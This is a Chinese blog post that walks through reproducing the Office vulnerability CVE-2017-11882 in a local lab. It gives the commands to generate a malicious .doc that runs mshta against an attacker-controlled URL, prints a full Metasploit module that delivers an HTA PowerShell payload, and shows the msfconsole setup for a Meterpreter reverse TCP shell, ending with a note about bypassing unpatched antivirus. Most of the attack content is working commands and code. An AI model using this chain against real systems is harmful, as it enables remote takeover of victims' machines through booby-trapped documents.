Office CVE-2017-11882本地复现
来源:互联网 发布:手机移动网络改dns 编辑:程序博客网 时间:2024/06/06 11:36
Office CVE-2017-11882本地复现
这两天,office又出名了,CVE-2017-11882成了圈里关注的热点,今年office爆出好几个漏洞,从CVE-2017-0199、CVE-2017-8570到现在的CVE-2017-11882,exp也是越来越简单粗暴。
下面,我也来蹭波热度。
Step1:万年计算器POC
POC GitHub:可以使用国外出现的第一份poc:https://github.com/embedi/CVE-2017-11882,不过已经停止更新了。这里我使用:https://github.com/Ridter/CVE-2017-11882。
使用clone或直接下载zip都行:
git clone https://github.com/Ridter/CVE-2017-11882.git
进入项目文件
root@Kali:~/hackhub/CVE-2017-11882# python Command109b_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o calc.doc[*] Done ! output file --> calc.doc
用靶机打开
至此,以验证该漏洞存在。想在0199的时候还需要自己避免交互,现在poc直接帮你解决。。。
Step2:Get Shell
1、还是使用上一步的脚本
root@Kali:~/hackhub/CVE-2017-11882# python Command109b_CVE-2017-11882.py -c "mshta http://192.168.1.231:8080/abc" -o test.doc[*] Done ! output file --> test.doc
先把doc文档放到靶机。
2、上msf
首先添加利用脚本,我机子msf exp的路径是/usr/share/metasploit-framework/modules/exploits/windows,可以在这目录下新建一个文件夹。
将下面的脚本写入到PS_shell.rb。
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Office Payload Delivery', 'Description' => %q{ This module generates an command to place within a word document, that when executed, will retrieve a HTA payload via HTTP from an web server. Currently have not figured out how to generate a doc. }, 'License' => MSF_LICENSE, 'Arch' => ARCH_X86, 'Platform' => 'win', 'Targets' => [ ['Automatic', {} ], ], 'DefaultTarget' => 0, )) end def on_request_uri(cli, _request) print_status("Delivering payload") p = regenerate_payload(cli) data = Msf::Util::EXE.to_executable_fmt( framework, ARCH_X86, 'win', p.encoded, 'hta-psh', { :arch => ARCH_X86, :platform => 'win '} ) send_response(cli, data, 'Content-Type' => 'application/hta') end def primer url = get_uri print_status("Place the following DDE in an MS document:") print_line("mshta.exe \"#{url}\"") endend
打开msf,执行msfconsole。进去后记得要 reload_all。选择PS_shell脚本,然后开启监听
msf > use exploit/windows/new-exps/PS_shell msf exploit(PS_shell) > msf exploit(PS_shell) > msf exploit(PS_shell) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf exploit(PS_shell) > set lhost 192.168.1.231lhost => 192.168.1.231msf exploit(PS_shell) > set uripath abcuripath => abcmsf exploit(PS_shell) > exploit [*] Exploit running as background job 0.[*] Started reverse TCP handler on 192.168.1.231:4444 [*] Using URL: http://0.0.0.0:8080/abc[*] Local IP: http://192.168.1.231:8080/abc[*] Server started.[*] Place the following DDE in an MS document:mshta.exe "http://192.168.1.231:8080/abc"
这里,Msf官方已经出了office_ms17-11882.rb的利用脚本。链接:
https://raw.githubusercontent.com/realoriginal/metasploit-framework/39a4d193a17c6f85846a58a429c0914f542bded2/modules/exploits/windows/fileformat/office_ms17_11882.rb,我还没有试,不过大家可以尝试。
回到靶机,打开test.doc。
此时,我们可以发现,shell已经反弹回来了
至此,已经 get shell。
免杀版本
暂无,但是如果杀毒没有更新,还是能bypass的。。。
参考链接:
http://www.cnblogs.com/Hi-blog/p/7878054.html
http://payloads.online/archivers/2017-11-22/1
- Office CVE-2017-11882本地复现
- CVE-2017-11882复现
- MS Office 漏洞CVE-2017-8759复现
- 微软office远程代码执行漏洞(CVE-2017-11882)复现
- Office CVE-2017-8570远程代码执行漏洞复现
- 渗透笔记7:CVE-2017-11882复现
- CVE-2017-8759 复现
- CVE-2017-9805(Struts2 漏洞复现与分析)
- Tomcat任意文件上传漏洞CVE-2017-12615复现测试
- CVE-2017-8759完美复现(另附加hta+powershell弹框闪烁解决方案)
- CVE-2017-8464远程命令执行漏洞(震网漏洞)复现
- 复现dirtycow——CVE-2016-5195
- Office远程代码执行漏洞POC样本分析(CVE-2017-11882)
- OFFICE OLE2LINK(CVE-2017-0199)漏洞利用详解
- [Mobile Security] - CVE漏洞复现虚拟团队呼唤小伙伴
- CVE-2017-2636【n_hdlc驱动模块 本地提权漏洞】
- 【漏洞公告】CVE-2017-1000367:Sudo本地提权漏洞
- Android本地拒绝服务漏洞学习与复现
- CAFFE学习笔记(五)用caffe跑自己的jpg数据
- html拾遗第3天,history
- 【Java】Enum实践
- PID算法的简单C语言实现
- 立即执行函数
- Office CVE-2017-11882本地复现
- [基础题]4、设计一个家政服务规范: 洗衣服, 扫地, 买菜, 做饭
- 微服务开发之Springboot入门
- 用redis-cli连接redis服务超时问题
- 深度 | 理解深度学习中的卷积
- Python selenium
- 记录一下自己学习C语言的点滴
- C中运算符简知
- c语言:冒泡排序,输入一定量的数,进行排序